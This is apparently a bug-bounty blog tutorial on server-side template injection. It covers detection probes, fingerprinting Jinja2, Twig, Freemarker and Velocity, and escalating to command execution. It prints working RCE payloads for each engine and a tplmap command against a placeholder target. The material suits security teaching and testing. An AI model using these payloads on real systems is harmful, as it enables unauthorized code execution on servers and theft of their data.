August 11, 2026
Template Injection Is Hiding in Your “Personalization” Features
What’s up everyone! Nitin here 👋

By Nitin yadav
2 min read
Server-Side Template Injection is one of the few web bugs that goes from "huh, weird" to full remote code execution in about four requests. The reason it's so juicy: template engines are designed to evaluate expressions. If your input lands inside the template instead of being passed to it, the server will happily run your code for you. Let's turn {{7*7}} into id.
Why SSTI happens
Apps use template engines (Jinja2, Twig, Freemarker, Velocity, Handlebars…) to build dynamic pages and emails. The safe pattern passes user data as a variable into a fixed template. The vulnerable pattern concatenates user input into the template string itself — often in "customize your email," "profile bio," "invoice template," or any feature that lets users control formatting. Now your input isn't data; it's code the engine evaluates server-side. That's SSTI, and at the top of the ladder it's RCE.
Step 1: Detect it
The universal probe is a math expression the engine will evaluate:
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}If the page prints 49, your input got evaluated — SSTI confirmed. If it prints {{7*7}} literally, it didn't. Test in every field that renders back to you: names, bios, subjects, filenames, custom templates, error-message reflections. A polyglot like ${{<%[%'"}}%\ is handy for smoking out which syntax the engine reacts to — an error or odd output tells you something's being parsed.
Step 2: Fingerprint the engine (this decides everything)
This is the step beginners skip — and it's the most important one, because the RCE payload is engine-specific. {{7*7}} proves evaluation; the next probe tells you which engine so you pick the right escalation. The classic discriminator:
{{7*'7'}}{{7*'7'}}- Returns 7777777 → Jinja2 (Python) — string repetition
- Returns 49 → Twig (PHP) — numeric multiply
${7*7}works but {{ }} doesn't → Freemarker / Velocity (Java) or Mako#{7*7}→ Ruby-ish / some Java engines
Use the classic decision tree (the community SSTI flowchart) to nail it precisely. Once you know the engine, you know the object model you're about to walk.
Step 3: Escalate to command execution
Now you climb from "it does math" to "it runs shell commands." The universal technique: start from a harmless built-in object and walk the object graph until you reach os, Runtime, or an exec primitive.
Jinja2 (Python):
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}Twig (PHP):
{{ ['id']|filter('system') }}
{{ ['id','']|sort('system') }}{{ ['id']|filter('system') }}
{{ ['id','']|sort('system') }}Freemarker (Java):
${"freemarker.template.utility.Execute"?new()("id")}${"freemarker.template.utility.Execute"?new()("id")}Velocity (Java):
#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")When the page returns the output of id (like uid=33(www-data)…), you have RCE. That's the money shot.
Step 4: Automate detection, understand the gadget
tplmap and SSTImap automate detection, engine ID, and exploitation:
python3 tplmap.py -u "<https://target.com/page?name=*>"python3 tplmap.py -u "<https://target.com/page?name=*>"But don't be a tool zombie: understand the gadget chain, because (a) tools miss WAF'd or non-standard setups a human can bypass, and (b) your report needs to explain why it works. Knowing that __globals__ → os → popen is the path makes you the hunter who lands the critical instead of the one who filed a broken PoC.
The impact ladder
{{7*7}}=49— evaluation confirmed, but no escalation shown → low/medium- Reading server-side config / secrets via template objects → medium/high
- Command execution (
id,whoami) → critical - RCE → read app source, pivot, reach internal network → critical, top payout
Always push to at least proving code execution with a safe command — {{7*7}} alone is often downgraded, while a clean id output is an instant critical.
Where SSTI hides
- "Customize email/notification template" features
- Profile fields, display names, and bios that appear in generated pages or emails
- Invoice / PDF / report generators that accept user text
- Error pages that reflect input through a template
- CMS and no-code builders that expose template syntax
- Anywhere {{, ${, or <% in your input changes the output
Conclusion — the SSTI playbook
- Probe every formatting field with
{{7*7}}/${7*7}—49means SSTI. - Fingerprint with
{{7*'7'}}— the engine decides the payload. - Escalate by walking the object graph to
os/Runtime→ runid. - Automate with
tplmap/SSTImap, but understand the gadget for the report. - Prove code execution safely —
{{7*7}}alone gets downgraded.